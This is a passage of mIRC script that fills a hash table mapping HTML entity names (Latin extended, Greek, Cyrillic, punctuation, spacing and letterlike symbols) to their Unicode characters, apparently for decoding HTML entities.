  3212.   hadd %h /^tcedil$/256 $chr($base(0163, 16, 10))
  3213.   hadd %h /^Tcaron$/257 $chr($base(0164, 16, 10))
  3214.   hadd %h /^tcaron$/258 $chr($base(0165, 16, 10))
  3215.   hadd %h /^Tstrok$/259 $chr($base(0166, 16, 10))
  3216.   hadd %h /^tstrok$/260 $chr($base(0167, 16, 10))
  3217.   hadd %h /^Utilde$/261 $chr($base(0168, 16, 10))
  3218.   hadd %h /^utilde$/262 $chr($base(0169, 16, 10))
  3219.   hadd %h /^Umacr$/263 $chr($base(016A, 16, 10))
  3220.   hadd %h /^umacr$/264 $chr($base(016B, 16, 10))
  3221.   hadd %h /^Ubreve$/265 $chr($base(016C, 16, 10))
  3222.   hadd %h /^ubreve$/266 $chr($base(016D, 16, 10))
  3223.   hadd %h /^Uring$/267 $chr($base(016E, 16, 10))
  3224.   hadd %h /^uring$/268 $chr($base(016F, 16, 10))
  3225.   hadd %h /^Udblac$/269 $chr($base(0170, 16, 10))
  3226.   hadd %h /^udblac$/270 $chr($base(0171, 16, 10))
  3227.   hadd %h /^Uogon$/271 $chr($base(0172, 16, 10))
  3228.   hadd %h /^uogon$/272 $chr($base(0173, 16, 10))
  3229.   hadd %h /^Wcirc$/273 $chr($base(0174, 16, 10))
  3230.   hadd %h /^wcirc$/274 $chr($base(0175, 16, 10))
  3231.   hadd %h /^Ycirc$/275 $chr($base(0176, 16, 10))
  3232.   hadd %h /^ycirc$/276 $chr($base(0177, 16, 10))
  3233.   hadd %h /^Yuml$/277 $chr($base(0178, 16, 10))
  3234.   hadd %h /^Zacute$/278 $chr($base(0179, 16, 10))
  3235.   hadd %h /^zacute$/279 $chr($base(017A, 16, 10))
  3236.   hadd %h /^Zdot$/280 $chr($base(017B, 16, 10))
  3237.   hadd %h /^zdot$/281 $chr($base(017C, 16, 10))
  3238.   hadd %h /^Zcaron$/282 $chr($base(017D, 16, 10))
  3239.   hadd %h /^zcaron$/283 $chr($base(017E, 16, 10))
  3240.   hadd %h /^fnof$/284 $chr($base(0192, 16, 10))
  3241.   hadd %h /^imped$/285 $chr($base(01B5, 16, 10))
  3242.   hadd %h /^gacute$/286 $chr($base(01F5, 16, 10))
  3243.   hadd %h /^jmath$/287 $chr($base(0237, 16, 10))
  3244.   hadd %h /^circ$/288 $chr($base(02C6, 16, 10))
  3245.   hadd %h /^caron$/289 $chr($base(02C7, 16, 10))
  3246.   hadd %h /^Hacek$/290 $chr($base(02C7, 16, 10))
  3247.   hadd %h /^breve$/291 $chr($base(02D8, 16, 10))
  3248.   hadd %h /^Breve$/292 $chr($base(02D8, 16, 10))
  3249.   hadd %h /^dot$/293 $chr($base(02D9, 16, 10))
  3250.   hadd %h /^DiacriticalDot$/294 $chr($base(02D9, 16, 10))
  3251.   hadd %h /^ring$/295 $chr($base(02DA, 16, 10))
  3252.   hadd %h /^ogon$/296 $chr($base(02DB, 16, 10))
  3253.   hadd %h /^tilde$/297 $chr($base(02DC, 16, 10))
  3254.   hadd %h /^DiacriticalTilde$/298 $chr($base(02DC, 16, 10))
  3255.   hadd %h /^dblac$/299 $chr($base(02DD, 16, 10))
  3256.   hadd %h /^DiacriticalDoubleAcute$/300 $chr($base(02DD, 16, 10))
  3257.   hadd %h /^DownBreve$/301 $chr($base(0311, 16, 10))
  3258.   hadd %h /^Aacgr$/302 $chr($base(0386, 16, 10))
  3259.   hadd %h /^Eacgr$/303 $chr($base(0388, 16, 10))
  3260.   hadd %h /^EEacgr$/304 $chr($base(0389, 16, 10))
  3261.   hadd %h /^Iacgr$/305 $chr($base(038A, 16, 10))
  3262.   hadd %h /^Oacgr$/306 $chr($base(038C, 16, 10))
  3263.   hadd %h /^Uacgr$/307 $chr($base(038E, 16, 10))
  3264.   hadd %h /^OHacgr$/308 $chr($base(038F, 16, 10))
  3265.   hadd %h /^idiagr$/309 $chr($base(0390, 16, 10))
  3266.   hadd %h /^Alpha$/310 $chr($base(0391, 16, 10))
  3267.   hadd %h /^Agr$/311 $chr($base(0391, 16, 10))
  3268.   hadd %h /^Bgr$/312 $chr($base(0392, 16, 10))
  3269.   hadd %h /^Beta$/313 $chr($base(0392, 16, 10))
  3270.   hadd %h /^Gamma$/314 $chr($base(0393, 16, 10))
  3271.   hadd %h /^Ggr$/315 $chr($base(0393, 16, 10))
  3272.   hadd %h /^Delta$/316 $chr($base(0394, 16, 10))
  3273.   hadd %h /^Dgr$/317 $chr($base(0394, 16, 10))
  3274.   hadd %h /^Egr$/318 $chr($base(0395, 16, 10))
  3275.   hadd %h /^Epsilon$/319 $chr($base(0395, 16, 10))
  3276.   hadd %h /^Zgr$/320 $chr($base(0396, 16, 10))
  3277.   hadd %h /^Zeta$/321 $chr($base(0396, 16, 10))
  3278.   hadd %h /^EEgr$/322 $chr($base(0397, 16, 10))
  3279.   hadd %h /^Eta$/323 $chr($base(0397, 16, 10))
  3280.   hadd %h /^THgr$/324 $chr($base(0398, 16, 10))
  3281.   hadd %h /^Theta$/325 $chr($base(0398, 16, 10))
  3282.   hadd %h /^Igr$/326 $chr($base(0399, 16, 10))
  3283.   hadd %h /^Iota$/327 $chr($base(0399, 16, 10))
  3284.   hadd %h /^Kgr$/328 $chr($base(039A, 16, 10))
  3285.   hadd %h /^Kappa$/329 $chr($base(039A, 16, 10))
  3286.   hadd %h /^Lambda$/330 $chr($base(039B, 16, 10))
  3287.   hadd %h /^Lgr$/331 $chr($base(039B, 16, 10))
  3288.   hadd %h /^Mgr$/332 $chr($base(039C, 16, 10))
  3289.   hadd %h /^Mu$/333 $chr($base(039C, 16, 10))
  3290.   hadd %h /^Ngr$/334 $chr($base(039D, 16, 10))
  3291.   hadd %h /^Nu$/335 $chr($base(039D, 16, 10))
  3292.   hadd %h /^Xgr$/336 $chr($base(039E, 16, 10))
  3293.   hadd %h /^Xi$/337 $chr($base(039E, 16, 10))
  3294.   hadd %h /^Ogr$/338 $chr($base(039F, 16, 10))
  3295.   hadd %h /^Omicron$/339 $chr($base(039F, 16, 10))
  3296.   hadd %h /^Pgr$/340 $chr($base(03A0, 16, 10))
  3297.   hadd %h /^Pi$/341 $chr($base(03A0, 16, 10))
  3298.   hadd %h /^Rgr$/342 $chr($base(03A1, 16, 10))
  3299.   hadd %h /^Rho$/343 $chr($base(03A1, 16, 10))
  3300.   hadd %h /^Sgr$/344 $chr($base(03A3, 16, 10))
  3301.   hadd %h /^Sigma$/345 $chr($base(03A3, 16, 10))
  3302.   hadd %h /^Tgr$/346 $chr($base(03A4, 16, 10))
  3303.   hadd %h /^Tau$/347 $chr($base(03A4, 16, 10))
  3304.   hadd %h /^Ugr$/348 $chr($base(03A5, 16, 10))
  3305.   hadd %h /^Upsilon$/349 $chr($base(03A5, 16, 10))
  3306.   hadd %h /^PHgr$/350 $chr($base(03A6, 16, 10))
  3307.   hadd %h /^Phi$/351 $chr($base(03A6, 16, 10))
  3308.   hadd %h /^KHgr$/352 $chr($base(03A7, 16, 10))
  3309.   hadd %h /^Chi$/353 $chr($base(03A7, 16, 10))
  3310.   hadd %h /^PSgr$/354 $chr($base(03A8, 16, 10))
  3311.   hadd %h /^Psi$/355 $chr($base(03A8, 16, 10))
  3312.   hadd %h /^OHgr$/356 $chr($base(03A9, 16, 10))
  3313.   hadd %h /^Omega$/357 $chr($base(03A9, 16, 10))
  3314.   hadd %h /^ohm$/358 $chr($base(03A9, 16, 10))
  3315.   hadd %h /^Idigr$/359 $chr($base(03AA, 16, 10))
  3316.   hadd %h /^Udigr$/360 $chr($base(03AB, 16, 10))
  3317.   hadd %h /^aacgr$/361 $chr($base(03AC, 16, 10))
  3318.   hadd %h /^eacgr$/362 $chr($base(03AD, 16, 10))
  3319.   hadd %h /^eeacgr$/363 $chr($base(03AE, 16, 10))
  3320.   hadd %h /^iacgr$/364 $chr($base(03AF, 16, 10))
  3321.   hadd %h /^udiagr$/365 $chr($base(03B0, 16, 10))
  3322.   hadd %h /^agr$/366 $chr($base(03B1, 16, 10))
  3323.   hadd %h /^alpha$/367 $chr($base(03B1, 16, 10))
  3324.   hadd %h /^beta$/368 $chr($base(03B2, 16, 10))
  3325.   hadd %h /^bgr$/369 $chr($base(03B2, 16, 10))
  3326.   hadd %h /^gamma$/370 $chr($base(03B3, 16, 10))
  3327.   hadd %h /^ggr$/371 $chr($base(03B3, 16, 10))
  3328.   hadd %h /^delta$/372 $chr($base(03B4, 16, 10))
  3329.   hadd %h /^dgr$/373 $chr($base(03B4, 16, 10))
  3330.   hadd %h /^egr$/374 $chr($base(03B5, 16, 10))
  3331.   hadd %h /^epsi$/375 $chr($base(03B5, 16, 10))
  3332.   hadd %h /^epsilon$/376 $chr($base(03B5, 16, 10))
  3333.   hadd %h /^zeta$/377 $chr($base(03B6, 16, 10))
  3334.   hadd %h /^zgr$/378 $chr($base(03B6, 16, 10))
  3335.   hadd %h /^eegr$/379 $chr($base(03B7, 16, 10))
  3336.   hadd %h /^eta$/380 $chr($base(03B7, 16, 10))
  3337.   hadd %h /^theta$/381 $chr($base(03B8, 16, 10))
  3338.   hadd %h /^thgr$/382 $chr($base(03B8, 16, 10))
  3339.   hadd %h /^igr$/383 $chr($base(03B9, 16, 10))
  3340.   hadd %h /^iota$/384 $chr($base(03B9, 16, 10))
  3341.   hadd %h /^kappa$/385 $chr($base(03BA, 16, 10))
  3342.   hadd %h /^kgr$/386 $chr($base(03BA, 16, 10))
  3343.   hadd %h /^lambda$/387 $chr($base(03BB, 16, 10))
  3344.   hadd %h /^lgr$/388 $chr($base(03BB, 16, 10))
  3345.   hadd %h /^mgr$/389 $chr($base(03BC, 16, 10))
  3346.   hadd %h /^mu$/390 $chr($base(03BC, 16, 10))
  3347.   hadd %h /^ngr$/391 $chr($base(03BD, 16, 10))
  3348.   hadd %h /^nu$/392 $chr($base(03BD, 16, 10))
  3349.   hadd %h /^xgr$/393 $chr($base(03BE, 16, 10))
  3350.   hadd %h /^xi$/394 $chr($base(03BE, 16, 10))
  3351.   hadd %h /^omicron$/395 $chr($base(03BF, 16, 10))
  3352.   hadd %h /^ogr$/396 $chr($base(03BF, 16, 10))
  3353.   hadd %h /^pgr$/397 $chr($base(03C0, 16, 10))
  3354.   hadd %h /^pi$/398 $chr($base(03C0, 16, 10))
  3355.   hadd %h /^rgr$/399 $chr($base(03C1, 16, 10))
  3356.   hadd %h /^rho$/400 $chr($base(03C1, 16, 10))
  3357.   hadd %h /^sfgr$/401 $chr($base(03C2, 16, 10))
  3358.   hadd %h /^sigmav$/402 $chr($base(03C2, 16, 10))
  3359.   hadd %h /^varsigma$/403 $chr($base(03C2, 16, 10))
  3360.   hadd %h /^sigmaf$/404 $chr($base(03C2, 16, 10))
  3361.   hadd %h /^sgr$/405 $chr($base(03C3, 16, 10))
  3362.   hadd %h /^sigma$/406 $chr($base(03C3, 16, 10))
  3363.   hadd %h /^tau$/407 $chr($base(03C4, 16, 10))
  3364.   hadd %h /^tgr$/408 $chr($base(03C4, 16, 10))
  3365.   hadd %h /^ugr$/409 $chr($base(03C5, 16, 10))
  3366.   hadd %h /^upsi$/410 $chr($base(03C5, 16, 10))
  3367.   hadd %h /^upsilon$/411 $chr($base(03C5, 16, 10))
  3368.   hadd %h /^phi$/412 $chr($base(03C6, 16, 10))
  3369.   hadd %h /^phgr$/413 $chr($base(03C6, 16, 10))
  3370.   hadd %h /^chi$/414 $chr($base(03C7, 16, 10))
  3371.   hadd %h /^khgr$/415 $chr($base(03C7, 16, 10))
  3372.   hadd %h /^psgr$/416 $chr($base(03C8, 16, 10))
  3373.   hadd %h /^psi$/417 $chr($base(03C8, 16, 10))
  3374.   hadd %h /^ohgr$/418 $chr($base(03C9, 16, 10))
  3375.   hadd %h /^omega$/419 $chr($base(03C9, 16, 10))
  3376.   hadd %h /^idigr$/420 $chr($base(03CA, 16, 10))
  3377.   hadd %h /^udigr$/421 $chr($base(03CB, 16, 10))
  3378.   hadd %h /^oacgr$/422 $chr($base(03CC, 16, 10))
  3379.   hadd %h /^uacgr$/423 $chr($base(03CD, 16, 10))
  3380.   hadd %h /^ohacgr$/424 $chr($base(03CE, 16, 10))
  3381.   hadd %h /^thetav$/425 $chr($base(03D1, 16, 10))
  3382.   hadd %h /^vartheta$/426 $chr($base(03D1, 16, 10))
  3383.   hadd %h /^thetasym$/427 $chr($base(03D1, 16, 10))
  3384.   hadd %h /^Upsi$/428 $chr($base(03D2, 16, 10))
  3385.   hadd %h /^upsih$/429 $chr($base(03D2, 16, 10))
  3386.   hadd %h /^straightphi$/430 $chr($base(03D5, 16, 10))
  3387.   hadd %h /^phiv$/431 $chr($base(03D5, 16, 10))
  3388.   hadd %h /^varphi$/432 $chr($base(03D5, 16, 10))
  3389.   hadd %h /^piv$/433 $chr($base(03D6, 16, 10))
  3390.   hadd %h /^varpi$/434 $chr($base(03D6, 16, 10))
  3391.   hadd %h /^Gammad$/435 $chr($base(03DC, 16, 10))
  3392.   hadd %h /^gammad$/436 $chr($base(03DD, 16, 10))
  3393.   hadd %h /^digamma$/437 $chr($base(03DD, 16, 10))
  3394.   hadd %h /^kappav$/438 $chr($base(03F0, 16, 10))
  3395.   hadd %h /^varkappa$/439 $chr($base(03F0, 16, 10))
  3396.   hadd %h /^rhov$/440 $chr($base(03F1, 16, 10))
  3397.   hadd %h /^varrho$/441 $chr($base(03F1, 16, 10))
  3398.   hadd %h /^epsiv$/442 $chr($base(03F5, 16, 10))
  3399.   hadd %h /^straightepsilon$/443 $chr($base(03F5, 16, 10))
  3400.   hadd %h /^varepsilon$/444 $chr($base(03F5, 16, 10))
  3401.   hadd %h /^bepsi$/445 $chr($base(03F6, 16, 10))
  3402.   hadd %h /^backepsilon$/446 $chr($base(03F6, 16, 10))
  3403.   hadd %h /^IOcy$/447 $chr($base(0401, 16, 10))
  3404.   hadd %h /^DJcy$/448 $chr($base(0402, 16, 10))
  3405.   hadd %h /^GJcy$/449 $chr($base(0403, 16, 10))
  3406.   hadd %h /^Jukcy$/450 $chr($base(0404, 16, 10))
  3407.   hadd %h /^DScy$/451 $chr($base(0405, 16, 10))
  3408.   hadd %h /^Iukcy$/452 $chr($base(0406, 16, 10))
  3409.   hadd %h /^YIcy$/453 $chr($base(0407, 16, 10))
  3410.   hadd %h /^Jsercy$/454 $chr($base(0408, 16, 10))
  3411.   hadd %h /^LJcy$/455 $chr($base(0409, 16, 10))
  3412.   hadd %h /^NJcy$/456 $chr($base(040A, 16, 10))
  3413.   hadd %h /^TSHcy$/457 $chr($base(040B, 16, 10))
  3414.   hadd %h /^KJcy$/458 $chr($base(040C, 16, 10))
  3415.   hadd %h /^Ubrcy$/459 $chr($base(040E, 16, 10))
  3416.   hadd %h /^DZcy$/460 $chr($base(040F, 16, 10))
  3417.   hadd %h /^Acy$/461 $chr($base(0410, 16, 10))
  3418.   hadd %h /^Bcy$/462 $chr($base(0411, 16, 10))
  3419.   hadd %h /^Vcy$/463 $chr($base(0412, 16, 10))
  3420.   hadd %h /^Gcy$/464 $chr($base(0413, 16, 10))
  3421.   hadd %h /^Dcy$/465 $chr($base(0414, 16, 10))
  3422.   hadd %h /^IEcy$/466 $chr($base(0415, 16, 10))
  3423.   hadd %h /^ZHcy$/467 $chr($base(0416, 16, 10))
  3424.   hadd %h /^Zcy$/468 $chr($base(0417, 16, 10))
  3425.   hadd %h /^Icy$/469 $chr($base(0418, 16, 10))
  3426.   hadd %h /^Jcy$/470 $chr($base(0419, 16, 10))
  3427.   hadd %h /^Kcy$/471 $chr($base(041A, 16, 10))
  3428.   hadd %h /^Lcy$/472 $chr($base(041B, 16, 10))
  3429.   hadd %h /^Mcy$/473 $chr($base(041C, 16, 10))
  3430.   hadd %h /^Ncy$/474 $chr($base(041D, 16, 10))
  3431.   hadd %h /^Ocy$/475 $chr($base(041E, 16, 10))
  3432.   hadd %h /^Pcy$/476 $chr($base(041F, 16, 10))
  3433.   hadd %h /^Rcy$/477 $chr($base(0420, 16, 10))
  3434.   hadd %h /^Scy$/478 $chr($base(0421, 16, 10))
  3435.   hadd %h /^Tcy$/479 $chr($base(0422, 16, 10))
  3436.   hadd %h /^Ucy$/480 $chr($base(0423, 16, 10))
  3437.   hadd %h /^Fcy$/481 $chr($base(0424, 16, 10))
  3438.   hadd %h /^KHcy$/482 $chr($base(0425, 16, 10))
  3439.   hadd %h /^TScy$/483 $chr($base(0426, 16, 10))
  3440.   hadd %h /^CHcy$/484 $chr($base(0427, 16, 10))
  3441.   hadd %h /^SHcy$/485 $chr($base(0428, 16, 10))
  3442.   hadd %h /^SHCHcy$/486 $chr($base(0429, 16, 10))
  3443.   hadd %h /^HARDcy$/487 $chr($base(042A, 16, 10))
  3444.   hadd %h /^Ycy$/488 $chr($base(042B, 16, 10))
  3445.   hadd %h /^SOFTcy$/489 $chr($base(042C, 16, 10))
  3446.   hadd %h /^Ecy$/490 $chr($base(042D, 16, 10))
  3447.   hadd %h /^YUcy$/491 $chr($base(042E, 16, 10))
  3448.   hadd %h /^YAcy$/492 $chr($base(042F, 16, 10))
  3449.   hadd %h /^acy$/493 $chr($base(0430, 16, 10))
  3450.   hadd %h /^bcy$/494 $chr($base(0431, 16, 10))
  3451.   hadd %h /^vcy$/495 $chr($base(0432, 16, 10))
  3452.   hadd %h /^gcy$/496 $chr($base(0433, 16, 10))
  3453.   hadd %h /^dcy$/497 $chr($base(0434, 16, 10))
  3454.   hadd %h /^iecy$/498 $chr($base(0435, 16, 10))
  3455.   hadd %h /^zhcy$/499 $chr($base(0436, 16, 10))
  3456.   hadd %h /^zcy$/500 $chr($base(0437, 16, 10))
  3457.   hadd %h /^icy$/501 $chr($base(0438, 16, 10))
  3458.   hadd %h /^jcy$/502 $chr($base(0439, 16, 10))
  3459.   hadd %h /^kcy$/503 $chr($base(043A, 16, 10))
  3460.   hadd %h /^lcy$/504 $chr($base(043B, 16, 10))
  3461.   hadd %h /^mcy$/505 $chr($base(043C, 16, 10))
  3462.   hadd %h /^ncy$/506 $chr($base(043D, 16, 10))
  3463.   hadd %h /^ocy$/507 $chr($base(043E, 16, 10))
  3464.   hadd %h /^pcy$/508 $chr($base(043F, 16, 10))
  3465.   hadd %h /^rcy$/509 $chr($base(0440, 16, 10))
  3466.   hadd %h /^scy$/510 $chr($base(0441, 16, 10))
  3467.   hadd %h /^tcy$/511 $chr($base(0442, 16, 10))
  3468.   hadd %h /^ucy$/512 $chr($base(0443, 16, 10))
  3469.   hadd %h /^fcy$/513 $chr($base(0444, 16, 10))
  3470.   hadd %h /^khcy$/514 $chr($base(0445, 16, 10))
  3471.   hadd %h /^tscy$/515 $chr($base(0446, 16, 10))
  3472.   hadd %h /^chcy$/516 $chr($base(0447, 16, 10))
  3473.   hadd %h /^shcy$/517 $chr($base(0448, 16, 10))
  3474.   hadd %h /^shchcy$/518 $chr($base(0449, 16, 10))
  3475.   hadd %h /^hardcy$/519 $chr($base(044A, 16, 10))
  3476.   hadd %h /^ycy$/520 $chr($base(044B, 16, 10))
  3477.   hadd %h /^softcy$/521 $chr($base(044C, 16, 10))
  3478.   hadd %h /^ecy$/522 $chr($base(044D, 16, 10))
  3479.   hadd %h /^yucy$/523 $chr($base(044E, 16, 10))
  3480.   hadd %h /^yacy$/524 $chr($base(044F, 16, 10))
  3481.   hadd %h /^iocy$/525 $chr($base(0451, 16, 10))
  3482.   hadd %h /^djcy$/526 $chr($base(0452, 16, 10))
  3483.   hadd %h /^gjcy$/527 $chr($base(0453, 16, 10))
  3484.   hadd %h /^jukcy$/528 $chr($base(0454, 16, 10))
  3485.   hadd %h /^dscy$/529 $chr($base(0455, 16, 10))
  3486.   hadd %h /^iukcy$/530 $chr($base(0456, 16, 10))
  3487.   hadd %h /^yicy$/531 $chr($base(0457, 16, 10))
  3488.   hadd %h /^jsercy$/532 $chr($base(0458, 16, 10))
  3489.   hadd %h /^ljcy$/533 $chr($base(0459, 16, 10))
  3490.   hadd %h /^njcy$/534 $chr($base(045A, 16, 10))
  3491.   hadd %h /^tshcy$/535 $chr($base(045B, 16, 10))
  3492.   hadd %h /^kjcy$/536 $chr($base(045C, 16, 10))
  3493.   hadd %h /^ubrcy$/537 $chr($base(045E, 16, 10))
  3494.   hadd %h /^dzcy$/538 $chr($base(045F, 16, 10))
  3495.   hadd %h /^ensp$/539 $chr($base(2002, 16, 10))
  3496.   hadd %h /^emsp$/540 $chr($base(2003, 16, 10))
  3497.   hadd %h /^emsp13$/541 $chr($base(2004, 16, 10))
  3498.   hadd %h /^emsp14$/542 $chr($base(2005, 16, 10))
  3499.   hadd %h /^numsp$/543 $chr($base(2007, 16, 10))
  3500.   hadd %h /^puncsp$/544 $chr($base(2008, 16, 10))
  3501.   hadd %h /^thinsp$/545 $chr($base(2009, 16, 10))
  3502.   hadd %h /^ThinSpace$/546 $chr($base(2009, 16, 10))
  3503.   hadd %h /^hairsp$/547 $chr($base(200A, 16, 10))
  3504.   hadd %h /^VeryThinSpace$/548 $chr($base(200A, 16, 10))
  3505.   hadd %h /^ZeroWidthSpace$/549 $chr($base(200B, 16, 10))
  3506.   hadd %h /^NegativeVeryThinSpace$/550 $chr($base(200B, 16, 10))
  3507.   hadd %h /^NegativeThinSpace$/551 $chr($base(200B, 16, 10))
  3508.   hadd %h /^NegativeMediumSpace$/552 $chr($base(200B, 16, 10))
  3509.   hadd %h /^NegativeThickSpace$/553 $chr($base(200B, 16, 10))
  3510.   hadd %h /^zwnj$/554 $chr($base(200C, 16, 10))
  3511.   hadd %h /^zwj$/555 $chr($base(200D, 16, 10))
  3512.   hadd %h /^lrm$/556 $chr($base(200E, 16, 10))
  3513.   hadd %h /^rlm$/557 $chr($base(200F, 16, 10))
  3514.   hadd %h /^hyphen$/558 $chr($base(2010, 16, 10))
  3515.   hadd %h /^dash$/559 $chr($base(2010, 16, 10))
  3516.   hadd %h /^ndash$/560 $chr($base(2013, 16, 10))
  3517.   hadd %h /^mdash$/561 $chr($base(2014, 16, 10))
  3518.   hadd %h /^horbar$/562 $chr($base(2015, 16, 10))
  3519.   hadd %h /^Verbar$/563 $chr($base(2016, 16, 10))
  3520.   hadd %h /^Vert$/564 $chr($base(2016, 16, 10))
  3521.   hadd %h /^lsquo$/565 $chr($base(2018, 16, 10))
  3522.   hadd %h /^OpenCurlyQuote$/566 $chr($base(2018, 16, 10))
  3523.   hadd %h /^rsquo$/567 $chr($base(2019, 16, 10))
  3524.   hadd %h /^rsquor$/568 $chr($base(2019, 16, 10))
  3525.   hadd %h /^CloseCurlyQuote$/569 $chr($base(2019, 16, 10))
  3526.   hadd %h /^lsquor$/570 $chr($base(201A, 16, 10))
  3527.   hadd %h /^sbquo$/571 $chr($base(201A, 16, 10))
  3528.   hadd %h /^ldquo$/572 $chr($base(201C, 16, 10))
  3529.   hadd %h /^OpenCurlyDoubleQuote$/573 $chr($base(201C, 16, 10))
  3530.   hadd %h /^rdquo$/574 $chr($base(201D, 16, 10))
  3531.   hadd %h /^rdquor$/575 $chr($base(201D, 16, 10))
  3532.   hadd %h /^CloseCurlyDoubleQuote$/576 $chr($base(201D, 16, 10))
  3533.   hadd %h /^ldquor$/577 $chr($base(201E, 16, 10))
  3534.   hadd %h /^bdquo$/578 $chr($base(201E, 16, 10))
  3535.   hadd %h /^dagger$/579 $chr($base(2020, 16, 10))
  3536.   hadd %h /^Dagger$/580 $chr($base(2021, 16, 10))
  3537.   hadd %h /^ddagger$/581 $chr($base(2021, 16, 10))
  3538.   hadd %h /^bull$/582 $chr($base(2022, 16, 10))
  3539.   hadd %h /^bullet$/583 $chr($base(2022, 16, 10))
  3540.   hadd %h /^nldr$/584 $chr($base(2025, 16, 10))
  3541.   hadd %h /^hellip$/585 $chr($base(2026, 16, 10))
  3542.   hadd %h /^mldr$/586 $chr($base(2026, 16, 10))
  3543.   hadd %h /^permil$/587 $chr($base(2030, 16, 10))
  3544.   hadd %h /^pertenk$/588 $chr($base(2031, 16, 10))
  3545.   hadd %h /^prime$/589 $chr($base(2032, 16, 10))
  3546.   hadd %h /^Prime$/590 $chr($base(2033, 16, 10))
  3547.   hadd %h /^tprime$/591 $chr($base(2034, 16, 10))
  3548.   hadd %h /^bprime$/592 $chr($base(2035, 16, 10))
  3549.   hadd %h /^backprime$/593 $chr($base(2035, 16, 10))
  3550.   hadd %h /^lsaquo$/594 $chr($base(2039, 16, 10))
  3551.   hadd %h /^rsaquo$/595 $chr($base(203A, 16, 10))
  3552.   hadd %h /^oline$/596 $chr($base(203E, 16, 10))
  3553.   hadd %h /^OverBar$/597 $chr($base(203E, 16, 10))
  3554.   hadd %h /^caret$/598 $chr($base(2041, 16, 10))
  3555.   hadd %h /^hybull$/599 $chr($base(2043, 16, 10))
  3556.   hadd %h /^frasl$/600 $chr($base(2044, 16, 10))
  3557.   hadd %h /^bsemi$/601 $chr($base(204F, 16, 10))
  3558.   hadd %h /^qprime$/602 $chr($base(2057, 16, 10))
  3559.   hadd %h /^MediumSpace$/603 $chr($base(205F, 16, 10))
  3560.   hadd %h /^ThickSpace$/604 $chr($base(205F, 16, 10)) $+ $chr($base(200A, 16, 10))
  3561.   hadd %h /^NoBreak$/605 $chr($base(2060, 16, 10))
  3562.   hadd %h /^ApplyFunction$/606 $chr($base(2061, 16, 10))
  3563.   hadd %h /^af$/607 $chr($base(2061, 16, 10))
  3564.   hadd %h /^InvisibleTimes$/608 $chr($base(2062, 16, 10))
  3565.   hadd %h /^it$/609 $chr($base(2062, 16, 10))
  3566.   hadd %h /^InvisibleComma$/610 $chr($base(2063, 16, 10))
  3567.   hadd %h /^ic$/611 $chr($base(2063, 16, 10))
  3568.   hadd %h /^euro$/612 $chr($base(20AC, 16, 10))
  3569.   hadd %h /^tdot$/613 $chr($base(20DB, 16, 10))
  3570.   hadd %h /^TripleDot$/614 $chr($base(20DB, 16, 10))
  3571.   hadd %h /^DotDot$/615 $chr($base(20DC, 16, 10))
  3572.   hadd %h /^Copf$/616 $chr($base(2102, 16, 10))
  3573.   hadd %h /^complexes$/617 $chr($base(2102, 16, 10))
  3574.   hadd %h /^incare$/618 $chr($base(2105, 16, 10))
  3575.   hadd %h /^gscr$/619 $chr($base(210A, 16, 10))
  3576.   hadd %h /^hamilt$/620 $chr($base(210B, 16, 10))
  3577.   hadd %h /^HilbertSpace$/621 $chr($base(210B, 16, 10))
  3578.   hadd %h /^Hscr$/622 $chr($base(210B, 16, 10))
  3579.   hadd %h /^Hfr$/623 $chr($base(210C, 16, 10))
  3580.   hadd %h /^Poincareplane$/624 $chr($base(210C, 16, 10))
  3581.   hadd %h /^quaternions$/625 $chr($base(210D, 16, 10))
  3582.   hadd %h /^Hopf$/626 $chr($base(210D, 16, 10))
  3583.   hadd %h /^planckh$/627 $chr($base(210E, 16, 10))
  3584.   hadd %h /^planck$/628 $chr($base(210F, 16, 10))
  3585.   hadd %h /^hbar$/629 $chr($base(210F, 16, 10))
  3586.   hadd %h /^plankv$/630 $chr($base(210F, 16, 10))
  3587.   hadd %h /^hslash$/631 $chr($base(210F, 16, 10))
  3588.   hadd %h /^Iscr$/632 $chr($base(2110, 16, 10))
  3589.   hadd %h /^imagline$/633 $chr($base(2110, 16, 10))
  3590.   hadd %h /^image$/634 $chr($base(2111, 16, 10))
  3591.   hadd %h /^Im$/635 $chr($base(2111, 16, 10))
  3592.   hadd %h /^imagpart$/636 $chr($base(2111, 16, 10))
  3593.   hadd %h /^Ifr$/637 $chr($base(2111, 16, 10))
  3594.   hadd %h /^Lscr$/638 $chr($base(2112, 16, 10))
  3595.   hadd %h /^lagran$/639 $chr($base(2112, 16, 10))
  3596.   hadd %h /^Laplacetrf$/640 $chr($base(2112, 16, 10))
  3597.   hadd %h /^ell$/641 $chr($base(2113, 16, 10))
  3598.   hadd %h /^Nopf$/642 $chr($base(2115, 16, 10))
  3599.   hadd %h /^naturals$/643 $chr($base(2115, 16, 10))
  3600.   hadd %h /^numero$/644 $chr($base(2116, 16, 10))
  3601.   hadd %h /^copysr$/645 $chr($base(2117, 16, 10))
  3602.   hadd %h /^weierp$/646 $chr($base(2118, 16, 10))
  3603.   hadd %h /^wp$/647 $chr($base(2118, 16, 10))
  3604.   hadd %h /^Popf$/648 $chr($base(2119, 16, 10))
  3605.   hadd %h /^primes$/649 $chr($base(2119, 16, 10))
  3606.   hadd %h /^rationals$/650 $chr($base(211A, 16, 10))
  3607.   hadd %h /^Qopf$/651 $chr($base(211A, 16, 10))
  3608.   hadd %h /^Rscr$/652 $chr($base(211B, 16, 10))
  3609.   hadd %h /^realine$/653 $chr($base(211B, 16, 10))
  3610.   hadd %h /^real$/654 $chr($base(211C, 16, 10))
  3611.   hadd %h /^Re$/655 $chr($base(211C, 16, 10))
  3612.   hadd %h /^realpart$/656 $chr($base(211C, 16, 10))
  3613.   hadd %h /^Rfr$/657 $chr($base(211C, 16, 10))
  3614.   hadd %h /^reals$/658 $chr($base(211D, 16, 10))
  3615.   hadd %h /^Ropf$/659 $chr($base(211D, 16, 10))
  3616.   hadd %h /^rx$/660 $chr($base(211E, 16, 10))
  3617.   hadd %h /^trade$/661 $chr($base(2122, 16, 10))
  3618.   hadd %h /^TRADE$/662 $chr($base(2122, 16, 10))
  3619.   hadd %h /^integers$/663 $chr($base(2124, 16, 10))
  3620.   hadd %h /^Zopf$/664 $chr($base(2124, 16, 10))
  3621.   hadd %h /^mho$/665 $chr($base(2127, 16, 10))
  3622.   hadd %h /^Zfr$/666 $chr($base(2128, 16, 10))
  3623.   hadd %h /^zeetrf$/667 $chr($base(2128, 16, 10))
  3624.   hadd %h /^iiota$/668 $chr($base(2129, 16, 10))
  3625.   hadd %h /^bernou$/669 $chr($base(212C, 16, 10))
  3626.   hadd %h /^Bernoullis$/670 $chr($base(212C, 16, 10))
